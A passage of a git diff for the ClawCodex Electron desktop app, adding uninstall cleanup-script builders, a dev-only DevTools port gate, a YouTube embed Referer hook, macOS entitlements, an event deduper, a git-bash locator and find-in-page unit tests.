+    '# Wait (up to ~30s) for the desktop process to exit so the venv python',
+    '# and the app bundle are no longer in use.',
+    `pid=${Number(desktopPid) || 0}`,
+    'if [ "$pid" -gt 0 ]; then',
+    '  for _ in $(seq 1 60); do',
+    '    kill -0 "$pid" 2>/dev/null || break',
+    '    sleep 0.5',
+    '  done',
+    'fi',
+    `export CLAWCODEX_CONFIG_DIR=${q(clawcodexHome)}`
+  ]
+
+  if (pythonPath) {
+    lines.push(`export PYTHONPATH=${q(pythonPath)}\${PYTHONPATH:+:$PYTHONPATH}`)
+  }
+
+  lines.push(`cd ${q(agentRoot)} 2>/dev/null || true`, `${q(pythonExe)} ${uninstallArgs.map(q).join(' ')} || true`)
+
+  if (appPath) {
+    lines.push(`rm -rf ${q(appPath)} || true`)
+  }
+
+  // Self-delete the script.
+  lines.push('rm -f "$0" 2>/dev/null || true')
+  lines.push('')
+
+  return lines.join('\n')
+}
+
+/**
+ * Build a Windows cleanup batch script. Same three steps, cmd.exe flavored.
+ *
+ * Finding 3 (venv self-deletion): for lite/full the agent uninstall rmtree's
+ * the venv that contains `python.exe`. A running .exe is mandatory-locked on
+ * Windows, so running the uninstall from the venv's OWN python half-fails. The
+ * desktop passes a system Python (findSystemPython) as `pythonExe` for those
+ * modes + `pythonPath`=agentRoot so `import clawcodex_cli` resolves from source
+ * while the venv is torn down. gui-only doesn't touch the venv, so it can use
+ * either interpreter.
+ *
+ * Wait-loop: bounded (matches POSIX's ~30s cap) so a never-exiting / mismatched
+ * PID can't wedge the cleanup forever. The `/FI "PID eq"` filter is an EXACT
+ * match, so no redundant `| find` (which would substring-match 99→990).
+ *
+ * Removal: even after the desktop PID is gone, Windows releases directory
+ * handles lazily, so a single `rmdir /s /q` can half-fail — retry up to 10x.
+ */
+function buildWindowsCleanupScript({
+  desktopPid,
+  pythonExe,
+  pythonPath,
+  agentRoot,
+  uninstallArgs,
+  appPath,
+  clawcodexHome
+}) {
+  const pid = Number(desktopPid) || 0
+  // cmd.exe has no string escaping inside quotes; strip embedded quotes (paths
+  // under %LOCALAPPDATA% never contain them). `&`/`^` in a path would still be
+  // a problem, but ClawCodex install paths don't use them.
+  const q = s => `"${String(s).replace(/"/g, '')}"`
+
+  const lines = [
+    '@echo off',
+    'setlocal enableextensions',
+    `set "CLAWCODEX_CONFIG_DIR=${String(clawcodexHome).replace(/"/g, '')}"`,
+    `set "PID=${pid}"`
+  ]
+
+  if (pythonPath) {
+    lines.push(`set "PYTHONPATH=${String(pythonPath).replace(/"/g, '')};%PYTHONPATH%"`)
+  }
+
+  lines.push(
+    'set /a waited=0',
+    ':waitloop',
+    'rem /FI "PID eq %PID%" is an EXACT filter — tasklist outputs the one task',
+    'rem row for that PID, or "INFO: No tasks..." otherwise. /NH drops the',
+    'rem header; findstr matches the PID as a whole space-delimited token so',
+    'rem PID 99 cannot match 990 (the substring trap of a bare `find`).',
+    'tasklist /NH /FI "PID eq %PID%" 2>nul | findstr /r /c:" %PID% " >nul',
+    'if %ERRORLEVEL% neq 0 goto waited_done',
+    'set /a waited+=1',
+    'if %waited% geq 60 goto waited_done',
+    'timeout /t 1 /nobreak >nul',
+    'goto waitloop',
+    ':waited_done',
+    `cd /d ${q(agentRoot)}`,
+    `${q(pythonExe)} ${uninstallArgs.map(q).join(' ')}`
+  )
+
+  if (appPath) {
+    lines.push(
+      'set /a tries=0',
+      ':rmloop',
+      `if not exist ${q(appPath)} goto rmdone`,
+      `rmdir /s /q ${q(appPath)} >nul 2>&1`,
+      `if not exist ${q(appPath)} goto rmdone`,
+      'set /a tries+=1',
+      'if %tries% geq 10 goto rmdone',
+      'timeout /t 1 /nobreak >nul',
+      'goto rmloop',
+      ':rmdone'
+    )
+  }
+
+  lines.push('del "%~f0"')
+  lines.push('')
+
+  return lines.join('\r\n')
+}
+
+export {
+  buildPosixCleanupScript,
+  buildWindowsCleanupScript,
+  modeRemovesAgent,
+  modeRemovesUserData,
+  resolveRemovableAppPath,
+  shouldRemoveAppBundle,
+  UNINSTALL_MODES,
+  uninstallArgsForMode
+}
diff --git a/ui-desktop/electron/dev-cdp.test.ts b/ui-desktop/electron/dev-cdp.test.ts
new file mode 100644
index 000000000..4f2c5271b
--- /dev/null
+++ b/ui-desktop/electron/dev-cdp.test.ts
@@ -0,0 +1,94 @@
+/**
+ * Tests for electron/dev-cdp.ts.
+ *
+ * Run with: npx vitest run --project electron electron/dev-cdp.test.ts
+ */
+
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { DEFAULT_PORT, describeDevCdpDecision, resolveDevCdpPort } from './dev-cdp'
+
+const DEV_SERVER = 'http://127.0.0.1:5174'
+
+/** The ordinary `npm run dev` / `hgui` run. */
+const devRun = { env: {}, isPackaged: false, devServer: DEV_SERVER }
+
+test('a dev-server run opens the default port with no opt-in', () => {
+  assert.deepEqual(resolveDevCdpPort(devRun), { port: DEFAULT_PORT, reason: null })
+})
+
+test('the default matches what the scripts/ tooling reaches for', () => {
+  // scripts/eval.mjs and scripts/perf/lib/cdp.mjs both default here; if this
+  // drifts, `node scripts/eval.mjs ...` stops finding a live renderer.
+  assert.equal(DEFAULT_PORT, 9222)
+})
+
+test('a packaged build never opens the port, however loudly the env asks', () => {
+  const decision = resolveDevCdpPort({ ...devRun, env: { CLAWCODEX_DESKTOP_CDP_PORT: '9222' }, isPackaged: true })
+
+  assert.deepEqual(decision, { port: null, reason: 'packaged' })
+})
+
+test('packaged is checked before every other gate', () => {
+  // Belt-and-suspenders: dev server present, valid port requested, still shut.
+  for (const value of ['9222', '', 'off', 'garbage']) {
+    const decision = resolveDevCdpPort({
+      env: { CLAWCODEX_DESKTOP_CDP_PORT: value },
+      isPackaged: true,
+      devServer: DEV_SERVER
+    })
+
+    assert.equal(decision.port, null, `expected packaged to refuse ${JSON.stringify(value)}`)
+    assert.equal(decision.reason, 'packaged')
+  }
+})
+
+test('an unpackaged dist run (no dev server) does not qualify', () => {
+  // `electron .` against dist/ is how the packaged app gets smoke tested; it
+  // should behave like the packaged app, not like a source-tree dev run.
+  assert.deepEqual(resolveDevCdpPort({ ...devRun, devServer: undefined }), { port: null, reason: 'no-dev-server' })
+})
+
+test('the port is overridable', () => {
+  assert.equal(resolveDevCdpPort({ ...devRun, env: { CLAWCODEX_DESKTOP_CDP_PORT: '9333' } }).port, 9333)
+})
+
+test('tolerates surrounding whitespace on the override', () => {
+  assert.equal(resolveDevCdpPort({ ...devRun, env: { CLAWCODEX_DESKTOP_CDP_PORT: ' 9333 ' } }).port, 9333)
+})
+
+test('can be switched off on a dev run', () => {
+  for (const value of ['0', 'off', 'OFF', 'false', 'no']) {
+    const decision = resolveDevCdpPort({ ...devRun, env: { CLAWCODEX_DESKTOP_CDP_PORT: value } })
+
+    assert.equal(decision.port, null, `expected ${JSON.stringify(value)} to close the port`)
+    assert.equal(decision.reason, 'opted-out')
+  }
+})
+
+test('refuses ports that are not usable integers', () => {
+  for (const value of ['80', '-1', '70000', 'yes', '9222.5', '92 22']) {
+    const decision = resolveDevCdpPort({ ...devRun, env: { CLAWCODEX_DESKTOP_CDP_PORT: value } })
+
+    assert.equal(decision.port, null, `expected ${JSON.stringify(value)} to be refused`)
+    assert.equal(decision.reason, 'invalid-port')
+  }
+})
+
+test('explains itself when an explicit setting was not honoured', () => {
+  // A typo'd port or a deliberate opt-out should say so — silently doing
+  // something other than what the env asked for is the bad failure mode.
+  for (const value of ['garbage', 'off']) {
+    const decision = resolveDevCdpPort({ ...devRun, env: { CLAWCODEX_DESKTOP_CDP_PORT: value } })
+
+    assert.ok(describeDevCdpDecision(decision), `expected an explanation for ${JSON.stringify(value)}`)
+  }
+})
+
+test('stays quiet when the port opened, or is closed by design', () => {
+  assert.equal(describeDevCdpDecision(resolveDevCdpPort(devRun)), null)
+  assert.equal(describeDevCdpDecision(resolveDevCdpPort({ ...devRun, isPackaged: true })), null)
+  assert.equal(describeDevCdpDecision(resolveDevCdpPort({ ...devRun, devServer: undefined })), null)
+})
diff --git a/ui-desktop/electron/dev-cdp.ts b/ui-desktop/electron/dev-cdp.ts
new file mode 100644
index 000000000..0a3b6b6ed
--- /dev/null
+++ b/ui-desktop/electron/dev-cdp.ts
@@ -0,0 +1,108 @@
+/**
+ * Dev Chrome DevTools Protocol exposure for the desktop renderer.
+ *
+ * The renderer is a Chromium page, so `--remote-debugging-port` turns it into
+ * something the repo's existing CDP tooling (`scripts/eval.mjs`,
+ * `scripts/perf/lib/cdp.mjs`, the `diag-*` / `probe-*` family) can attach to
+ * and read the live DOM from. Every one of those scripts already defaults to
+ * 9222, so a dev-server run opens 9222 and they just work.
+ *
+ * If you are running a dev server you are already executing arbitrary local
+ * JS — vite's module graph and every postinstall in node_modules — so a
+ * loopback debugging port does not meaningfully widen that. `perf:serve`
+ * already opens one unconditionally. What must never happen is a *packaged*
+ * app exposing it, which is the one hard gate here.
+ *
+ *  - packaged build              → always closed, whatever the env says.
+ *  - no CLAWCODEX_DESKTOP_DEV_SERVER → closed (an unpackaged `electron .` against
+ *    dist/ is how the packaged app gets smoke tested; it should behave like
+ *    the packaged app).
+ *  - otherwise                    → open on 9222, or CLAWCODEX_DESKTOP_CDP_PORT.
+ *
+ * `CLAWCODEX_DESKTOP_CDP_PORT=off` (or `0` / `false`) opts out for anyone who
+ * wants the port closed on a dev run.
+ *
+ * The port binds to loopback (Chromium's default) and the address is
+ * deliberately not configurable: there is no reason to expose a renderer
+ * debugger off-host, and offering the knob invites someone to try.
+ */
+
+/** Why the port is closed, for a one-line log the developer can act on. */
+type ClosedReason = 'packaged' | 'no-dev-server' | 'opted-out' | 'invalid-port'
+
+type DevCdpDecision = { port: number; reason: null } | { port: null; reason: ClosedReason }
+
+type DevCdpInput = {
+  env: Record<string, string | undefined>
+  isPackaged: boolean
+  devServer: string | undefined
+}
+
+/** What every script under scripts/ already reaches for. */
+const DEFAULT_PORT = 9222
+
+// Below 1024 needs privileges on most platforms; 65535 is the ceiling.
+const MIN_PORT = 1024
+const MAX_PORT = 65535
+
+const OPT_OUT = new Set(['0', 'off', 'false', 'no'])
+
+/**
+ * Decide whether this run may expose a renderer debugging port, and on which
+ * port. Pure: every input is passed in, so the gate is testable without an
+ * Electron app or a real environment.
+ */
+function resolveDevCdpPort({ env, isPackaged, devServer }: DevCdpInput): DevCdpDecision {
+  // Packaged wins over everything. Checked first so no combination of
+  // environment variables can talk a shipped build into opening the port.
+  if (isPackaged) {
+    return { port: null, reason: 'packaged' }
+  }
+
+  // A dev server means a source-tree run (`npm run dev` / `hgui`).
+  if (!devServer) {
+    return { port: null, reason: 'no-dev-server' }
+  }
+
+  const requested = (env.CLAWCODEX_DESKTOP_CDP_PORT ?? '').trim()
+
+  if (!requested) {
+    return { port: DEFAULT_PORT, reason: null }
+  }
+
+  if (OPT_OUT.has(requested.toLowerCase())) {
+    return { port: null, reason: 'opted-out' }
+  }
+
+  const port = Number(requested)
+
+  if (!Number.isInteger(port) || port < MIN_PORT || port > MAX_PORT) {
+    return { port: null, reason: 'invalid-port' }
+  }
+
+  return { port, reason: null }
+}
+
+/** One-line explanation for a closed port, or null when it opened. */
+function describeDevCdpDecision(decision: DevCdpDecision): string | null {
+  switch (decision.reason) {
+    case null:
+      return null
+
+    case 'invalid-port':
+      return `CLAWCODEX_DESKTOP_CDP_PORT is not a valid port (expected an integer ${MIN_PORT}-${MAX_PORT}, or "off"); renderer debugging is disabled.`
+
+    case 'opted-out':
+      return 'renderer debugging disabled by CLAWCODEX_DESKTOP_CDP_PORT.'
+
+    // Packaged and dist-run builds are closed by design — the common case, not
+    // worth a line of startup noise.
+    case 'packaged':
+
+    case 'no-dev-server':
+      return null
+  }
+}
+
+export { DEFAULT_PORT, describeDevCdpDecision, resolveDevCdpPort }
+export type { DevCdpDecision }
diff --git a/ui-desktop/electron/embed-referer.ts b/ui-desktop/electron/embed-referer.ts
new file mode 100644
index 000000000..2edafbfe2
--- /dev/null
+++ b/ui-desktop/electron/embed-referer.ts
@@ -0,0 +1,48 @@
+import { session } from 'electron'
+
+const EMBED_SESSION_PARTITION = 'persist:clawcodex-embed'
+const EMBED_REFERER = 'https://www.youtube.com/'
+
+const YOUTUBE_REFERER_HOST_RE =
+  /(^|\.)(youtube\.com|youtube-nocookie\.com|googlevideo\.com|ytimg\.com|youtubei\.googleapis\.com)$/i
+
+function installEmbedRefererForSession(embedSession) {
+  if (!embedSession) {
+    return
+  }
+
+  embedSession.webRequest.onBeforeSendHeaders((details, callback) => {
+    let host = ''
+
+    try {
+      host = new URL(details.url).hostname
+    } catch {
+      host = ''
+    }
+
+    if (!YOUTUBE_REFERER_HOST_RE.test(host)) {
+      callback({ requestHeaders: details.requestHeaders })
+
+      return
+    }
+
+    const headers = { ...details.requestHeaders }
+
+    if (!headers.Referer && !headers.referer) {
+      headers.Referer = EMBED_REFERER
+    }
+
+    callback({ requestHeaders: headers })
+  })
+}
+
+/** Stamp Referer on YouTube requests in the embed webview partition only. */
+function installEmbedReferer() {
+  try {
+    installEmbedRefererForSession(session.fromPartition(EMBED_SESSION_PARTITION))
+  } catch {
+    // Non-fatal: embeds still render; YouTube may show referer errors.
+  }
+}
+
+export { installEmbedReferer }
diff --git a/ui-desktop/electron/entitlements.mac.inherit.plist b/ui-desktop/electron/entitlements.mac.inherit.plist
new file mode 100644
index 000000000..a3defc5f8
--- /dev/null
+++ b/ui-desktop/electron/entitlements.mac.inherit.plist
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>com.apple.security.cs.allow-jit</key>
+  <true/>
+  <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
+  <true/>
+  <key>com.apple.security.cs.disable-library-validation</key>
+  <true/>
+  <key>com.apple.security.device.audio-input</key>
+  <true/>
+  <key>com.apple.security.device.camera</key>
+  <true/>
+</dict>
+</plist>
diff --git a/ui-desktop/electron/entitlements.mac.plist b/ui-desktop/electron/entitlements.mac.plist
new file mode 100644
index 000000000..a3defc5f8
--- /dev/null
+++ b/ui-desktop/electron/entitlements.mac.plist
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
+<plist version="1.0">
+<dict>
+  <key>com.apple.security.cs.allow-jit</key>
+  <true/>
+  <key>com.apple.security.cs.allow-unsigned-executable-memory</key>
+  <true/>
+  <key>com.apple.security.cs.disable-library-validation</key>
+  <true/>
+  <key>com.apple.security.device.audio-input</key>
+  <true/>
+  <key>com.apple.security.device.camera</key>
+  <true/>
+</dict>
+</plist>
diff --git a/ui-desktop/electron/event-dedupe.test.ts b/ui-desktop/electron/event-dedupe.test.ts
new file mode 100644
index 000000000..3c0f90558
--- /dev/null
+++ b/ui-desktop/electron/event-dedupe.test.ts
@@ -0,0 +1,37 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { createEventDeduper } from './event-dedupe'
+
+test('collapses the same key inside the window (two windows, one event)', () => {
+  const isDup = createEventDeduper(1000)
+
+  assert.equal(isDup('input:s1', 0), false, 'first window claims')
+  assert.equal(isDup('input:s1', 5), true, 'second window is deduped')
+})
+
+test('distinct keys are independent', () => {
+  const isDup = createEventDeduper(1000)
+
+  assert.equal(isDup('input:s1', 0), false)
+  assert.equal(isDup('approval:s1', 0), false, 'different kind')
+  assert.equal(isDup('input:s2', 0), false, 'different session')
+})
+
+test('re-fires once the window elapses', () => {
+  const isDup = createEventDeduper(1000)
+
+  assert.equal(isDup('turnDone:s1', 0), false)
+  assert.equal(isDup('turnDone:s1', 999), true, 'still within window')
+  assert.equal(isDup('turnDone:s1', 1000), false, 'window elapsed → fires again')
+})
+
+test('prunes stale keys so the map cannot grow unbounded', () => {
+  const isDup = createEventDeduper(1000)
+
+  for (let i = 0; i < 100; i += 1) {
+    // Each far-apart key is pruned before the next, so none linger as duplicates.
+    assert.equal(isDup(`turnDone:s${i}`, i * 2000), false)
+  }
+})
diff --git a/ui-desktop/electron/event-dedupe.ts b/ui-desktop/electron/event-dedupe.ts
new file mode 100644
index 000000000..a2d12a8f2
--- /dev/null
+++ b/ui-desktop/electron/event-dedupe.ts
@@ -0,0 +1,32 @@
+// Cross-window de-dupe for one-shot side-effects (OS notifications, the turn-end
+// sound, spoken replies). Every desktop window is its own renderer process, so N
+// open windows each independently react to the same backend event. The main
+// process is the one place they all share and it handles IPC serially, so it's
+// the race-free owner: the first window to claim a key within the interval wins;
+// peers see it's taken and stay quiet. Pure + injectable clock, so it's
+// unit-testable without Electron.
+
+const DEDUPE_INTERVAL_MS = 1000
+
+// Returns true when `key` was already claimed within the interval (caller drops
+// this one). Self-evicting: stale keys are pruned on every call, so the map
+// can't grow unbounded.
+export function createEventDeduper(intervalMs = DEDUPE_INTERVAL_MS) {
+  const lastSeenAt = new Map<string, number>()
+
+  return function isDuplicate(key: string, now = Date.now()): boolean {
+    for (const [k, at] of lastSeenAt) {
+      if (now - at >= intervalMs) {
+        lastSeenAt.delete(k)
+      }
+    }
+
+    if (lastSeenAt.has(key)) {
+      return true
+    }
+
+    lastSeenAt.set(key, now)
+
+    return false
+  }
+}
diff --git a/ui-desktop/electron/find-git-bash.test.ts b/ui-desktop/electron/find-git-bash.test.ts
new file mode 100644
index 000000000..38d2f782b
--- /dev/null
+++ b/ui-desktop/electron/find-git-bash.test.ts
@@ -0,0 +1,54 @@
+import assert from 'node:assert/strict'
+
+import { test } from 'vitest'
+
+import { findGitBash } from './find-git-bash'
+
+const yes = () => true
+const no = () => false
+
+test('CLAWCODEX_GIT_BASH_PATH override takes precedence', () => {
+  const result = findGitBash({
+    isWindows: true,
+    env: { CLAWCODEX_GIT_BASH_PATH: 'D:\\CustomGit\\bin\\bash.exe' },
+    fileExists: yes,
+    findOnPath: () => null
+  })
+
+  assert.equal(result, 'D:\\CustomGit\\bin\\bash.exe')
+})
+
+test('CLAWCODEX_GIT_BASH_PATH invalid path falls through to candidates', () => {
+  const env = {
+    CLAWCODEX_GIT_BASH_PATH: 'X:\\Missing\\bash.exe',
+    LOCALAPPDATA: 'C:\\Users\\test\\AppData\\Local',
+    ProgramFiles: 'C:\\Program Files',
+    'ProgramFiles(x86)': 'C:\\Program Files (x86)'
+  }
+
+  const fileExists = (p: string) => p !== 'X:\\Missing\\bash.exe' && p.includes('Program Files\\Git\\bin\\bash.exe')
+  const result = findGitBash({ isWindows: true, env, fileExists, findOnPath: () => null })
+  assert.equal(result, 'C:\\Program Files\\Git\\bin\\bash.exe')
+})
+
+test('CLAWCODEX_GIT_BASH_PATH empty string is ignored', () => {
+  const result = findGitBash({
+    isWindows: true,
+    env: { CLAWCODEX_GIT_BASH_PATH: '', LOCALAPPDATA: '' },
+    fileExists: no,
+    findOnPath: () => 'C:\\msys64\\usr\\bin\\bash.exe'
+  })
+
+  assert.equal(result, 'C:\\msys64\\usr\\bin\\bash.exe')
+})
+
+test('non-Windows uses findOnPath', () => {
+  const result = findGitBash({
+    isWindows: false,
+    env: {},
+    fileExists: no,
+    findOnPath: () => '/usr/bin/bash'
+  })
+
+  assert.equal(result, '/usr/bin/bash')
+})
diff --git a/ui-desktop/electron/find-git-bash.ts b/ui-desktop/electron/find-git-bash.ts
new file mode 100644
index 000000000..0bd710a97
--- /dev/null
+++ b/ui-desktop/electron/find-git-bash.ts
@@ -0,0 +1,67 @@
+import path from 'node:path'
+
+export interface GitBashOptions {
+  isWindows: boolean
+  env: Record<string, string | undefined>
+  fileExists: (filePath: string) => boolean
+  findOnPath?: (command: string) => string | null
+}
+
+/**
+ * Locate bash.exe on Windows.
+ * Resolution order (first match wins):
+ *   1. CLAWCODEX_GIT_BASH_PATH env var override
+ *   2. PortableGit under %LOCALAPPDATA%\clawcodex\git\ (install.ps1)
+ *   3. Standard Git for Windows install locations
+ *   4. %LOCALAPPDATA%\Programs\Git\ (user-scoped)
+ *   5. bash on PATH
+ */
+export function findGitBash(opts: GitBashOptions): string | null {
+  const { isWindows, env, fileExists, findOnPath } = opts
+
+  if (!isWindows) {
+    return findOnPath ? findOnPath('bash') : null
+  }
+
+  // Respect CLAWCODEX_GIT_BASH_PATH if set (mirrors tools/environments/local.py:_find_bash).
+  const gitBashPath = env.CLAWCODEX_GIT_BASH_PATH
+
+  if (gitBashPath && fileExists(gitBashPath)) {
+    return gitBashPath
+  }
+
+  const localAppData = env.LOCALAPPDATA || ''
+  const candidates: string[] = []
+
+  // Candidate paths are Windows paths regardless of host platform (tests run
+  // on POSIX CI hosts too), so join with win32 semantics explicitly.
+  const joinWin = path.win32.join
+
+  if (localAppData) {
+    candidates.push(joinWin(localAppData, 'clawcodex', 'git', 'bin', 'bash.exe'))
+    candidates.push(joinWin(localAppData, 'clawcodex', 'git', 'usr', 'bin', 'bash.exe'))
+  }
+
+  candidates.push(joinWin(env['ProgramFiles'] || 'C:\\Program Files', 'Git', 'bin', 'bash.exe'))
+  candidates.push(joinWin(env['ProgramFiles(x86)'] || 'C:\\Program Files (x86)', 'Git', 'bin', 'bash.exe'))
+
+  if (localAppData) {
+    candidates.push(joinWin(localAppData, 'Programs', 'Git', 'bin', 'bash.exe'))
+  }
+
+  for (const candidate of candidates) {
+    if (fileExists(candidate)) {
+      return candidate
+    }
+  }
+
+  if (findOnPath) {
+    const onPath = findOnPath('bash')
+
+    if (onPath) {
+      return onPath
+    }
+  }
+
+  return null
+}
diff --git a/ui-desktop/electron/find-in-page.test.ts b/ui-desktop/electron/find-in-page.test.ts
new file mode 100644
index 000000000..e1622d35b
--- /dev/null
+++ b/ui-desktop/electron/find-in-page.test.ts
@@ -0,0 +1,222 @@
+/**
+ * Unit tests for the pure find-in-page helpers. The IPC handlers in
+ * main.ts are the only consumer — the helpers below must keep the wire
+ * shape stable (match counter shape, defaults, no-throw-on-destroyed).
+ */
+
+import assert from 'node:assert/strict'
+import { EventEmitter } from 'node:events'
+
+import { describe, test } from 'vitest'
+
+import { formatFoundInPage, installFoundInPageForwarder, performFind, stopFind } from './find-in-page'
+
+// Minimal webContents stub. The Electron.WebContents type is huge, so we
+// model just the slice the helpers touch (`isDestroyed`, `findInPage`,
+// `stopFindInPage`, `on`/`off`, `send`, `destroyed`, `emit`) and cast through
+// `asWC()` at call sites.
+interface FakeWebContents {
+  calls: {
+    find: Array<{ query: string; options: { forward: boolean; findNext: boolean } }>
+    stop: Array<'clearSelection' | 'keepSelection' | 'activateSelection'>
+    send: Array<{ channel: string; payload: unknown }>
+  }
+  isDestroyed: () => boolean
+  destroy: () => void
+  findInPage: (query: string, options: { forward: boolean; findNext: boolean }) => void
+  stopFindInPage: (action: 'clearSelection' | 'keepSelection' | 'activateSelection') => void
+  send: (channel: string, payload: unknown) => void
+  on: typeof EventEmitter.prototype.on
+  off: typeof EventEmitter.prototype.off
+  emit: (event: string | symbol, ...args: unknown[]) => boolean
+}
+
+function makeFakeWebContents(): FakeWebContents {
+  const emitter = new EventEmitter()
+
+  const calls = {
+    find: [] as Array<{ query: string; options: { forward: boolean; findNext: boolean } }>,
+    stop: [] as Array<'clearSelection' | 'keepSelection' | 'activateSelection'>,
+    send: [] as Array<{ channel: string; payload: unknown }>
+  }
+
+  let destroyed = false
+
+  return {
+    calls,
+    isDestroyed: () => destroyed,
+    destroy() {
+      destroyed = true
+      emitter.emit('destroyed')
+    },
+    findInPage(query: string, options: { forward: boolean; findNext: boolean }) {
+      calls.find.push({ query, options })
+    },
+    stopFindInPage(action: 'clearSelection' | 'keepSelection' | 'activateSelection') {
+      calls.stop.push(action)
+    },
+    send(channel: string, payload: unknown) {
+      calls.send.push({ channel, payload })
+    },
+    on: emitter.on.bind(emitter),
+    off: emitter.off.bind(emitter),
+    emit: emitter.emit.bind(emitter)
+  }
+}
+
+function asWC(fake: FakeWebContents): Electron.WebContents {
+  return fake as unknown as Electron.WebContents
+}
+
+describe('formatFoundInPage', () => {
+  test('maps activeMatchOrdinal + matches onto the wire payload', () => {
+    assert.deepEqual(formatFoundInPage({ activeMatchOrdinal: 3, matches: 12 }), {
+      activeMatchOrdinal: 3,
+      count: 12
+    })
+  })
+
+  test('coerces missing fields to zero so the renderer never sees NaN', () => {
+    assert.deepEqual(formatFoundInPage({}), { activeMatchOrdinal: 0, count: 0 })
+    assert.deepEqual(formatFoundInPage({ activeMatchOrdinal: 0, matches: 0 }), {
+      activeMatchOrdinal: 0,
+      count: 0
+    })
+  })
+
+  test('null / undefined inputs still produce a well-formed payload', () => {
+    assert.deepEqual(formatFoundInPage(null as unknown as { activeMatchOrdinal?: number; matches?: number }), {
+      activeMatchOrdinal: 0,
+      count: 0
+    })
+    assert.deepEqual(formatFoundInPage(undefined), { activeMatchOrdinal: 0, count: 0 })
+  })
+})
+
+describe('performFind', () => {
+  test('forwards the query and options to webContents.findInPage', () => {
+    const wc = makeFakeWebContents()
+    performFind(asWC(wc), 'hello', { forward: true, findNext: false })
+    assert.deepEqual(wc.calls.find, [{ query: 'hello', options: { forward: true, findNext: false } }])
+  })
+
+  test('defaults forward to true when omitted', () => {
+    const wc = makeFakeWebContents()
+    performFind(asWC(wc), 'x', { findNext: true })
+    assert.deepEqual(wc.calls.find, [{ query: 'x', options: { forward: true, findNext: true } }])
+  })
+
+  test('defaults findNext to false when omitted', () => {
+    const wc = makeFakeWebContents()
+    performFind(asWC(wc), 'x', { forward: false })
+    assert.deepEqual(wc.calls.find, [{ query: 'x', options: { forward: false, findNext: false } }])
+  })
+
+  test('treats null / non-object options as "all defaults"', () => {
+    const wc = makeFakeWebContents()
+    performFind(asWC(wc), 'x', null)
+    assert.deepEqual(wc.calls.find, [{ query: 'x', options: { forward: true, findNext: false } }])
+  })
+
+  test('coerces a non-string query to string (defensive against bad renderer payloads)', () => {
+    const wc = makeFakeWebContents()
+    performFind(asWC(wc), 42 as unknown as string, null)
+    assert.equal(wc.calls.find[0].query, '42')
+  })
+
+  test('is a no-op when webContents is null', () => {
+    assert.doesNotThrow(() => performFind(null, 'q', null))
+  })
+
+  test('is a no-op when webContents is destroyed (does not throw across IPC)', () => {
+    const wc = makeFakeWebContents()
+    wc.destroy()
+    performFind(asWC(wc), 'q', null)
+    assert.equal(wc.calls.find.length, 0)
+  })
+})
+
+describe('stopFind', () => {
+  test('calls stopFindInPage with the default action (clearSelection)', () => {
+    const wc = makeFakeWebContents()
+    stopFind(asWC(wc))
+    assert.deepEqual(wc.calls.stop, ['clearSelection'])
+  })
+
+  test('honors an explicit action argument', () => {
+    const wc = makeFakeWebContents()
+    stopFind(asWC(wc), 'keepSelection')
+    assert.deepEqual(wc.calls.stop, ['keepSelection'])
+  })
+
+  test('is a no-op when webContents is null or destroyed', () => {
+    assert.doesNotThrow(() => stopFind(null))
+    const wc = makeFakeWebContents()
+    wc.destroy()
+    stopFind(asWC(wc))
+    assert.equal(wc.calls.stop.length, 0)
+  })
+})
+
+describe('installFoundInPageForwarder', () => {
+  test('forwards found-in-page to the sender as a formatted payload', () => {
+    const wc = makeFakeWebContents()
+    installFoundInPageForwarder(asWC(wc))
+    // Drive the fake's emit directly — this exercises the same code path
+    // as Electron's actual `webContents.emit('found-in-page', …)`.
+    wc.emit('found-in-page', {}, { activeMatchOrdinal: 2, matches: 5 })
+    assert.deepEqual(wc.calls.send, [{ channel: 'clawcodex:found-in-page', payload: { activeMatchOrdinal: 2, count: 5 } }])
+  })
+
+  test('handles missing fields without throwing', () => {
+    const wc = makeFakeWebContents()
+    installFoundInPageForwarder(asWC(wc))
+    wc.emit('found-in-page', {}, {})
+    assert.deepEqual(wc.calls.send, [{ channel: 'clawcodex:found-in-page', payload: { activeMatchOrdinal: 0, count: 0 } }])
+  })
+
+  test('skips send when webContents is destroyed at fire time', () => {
+    const wc = makeFakeWebContents()
+    installFoundInPageForwarder(asWC(wc))
+    wc.destroy()
+    wc.emit('found-in-page', {}, { activeMatchOrdinal: 1, matches: 1 })
+    assert.equal(wc.calls.send.length, 0, 'destroyed webContents must not be sent to')
+  })
+
+  test('returned uninstall removes the listener', () => {
+    const wc = makeFakeWebContents()
+    const uninstall = installFoundInPageForwarder(asWC(wc))
+    uninstall()
+    wc.emit('found-in-page', {}, { activeMatchOrdinal: 9, matches: 9 })
+    assert.equal(wc.calls.send.length, 0, 'uninstalled listener must not fire')
+  })
+
+  test('returned uninstall on a null webContents is a safe no-op', () => {
+    const uninstall = installFoundInPageForwarder(null)
+    assert.doesNotThrow(() => uninstall())
+  })
+
+  test('returned uninstall on a destroyed webContents is a safe no-op', () => {
+    const wc = makeFakeWebContents()
+    wc.destroy()
+    const uninstall = installFoundInPageForwarder(asWC(wc))
+    assert.doesNotThrow(() => uninstall())
+  })
+
+  // Regression: the original PR scoped the forwarder to the global mainWindow,
+  // so Cmd+F pressed in a secondary session window routed results back to the
+  // primary. Pin that the helper does NOT close over any window other than the
+  // webContents it was given — two forwarders installed on two distinct fakes
+  // must each send only to their own sender.
+  test('two forwarders installed on distinct webContents do not cross-fire', () => {
+    const wcA = makeFakeWebContents()
+    const wcB = makeFakeWebContents()
+    installFoundInPageForwarder(asWC(wcA))
+    installFoundInPageForwarder(asWC(wcB))
+    wcA.emit('found-in-page', {}, { activeMatchOrdinal: 1, matches: 1 })
+    assert.deepEqual(wcA.calls.send, [
+      { channel: 'clawcodex:found-in-page', payload: { activeMatchOrdinal: 1, count: 1 } }
+    ])
+    assert.equal(wcB.calls.send.length, 0, 'wcB must not receive wcA results')
+  })
+})
diff --git a/ui-desktop/electron/find-in-page.ts b/ui-desktop/electron/find-in-page.ts
new file mode 100644
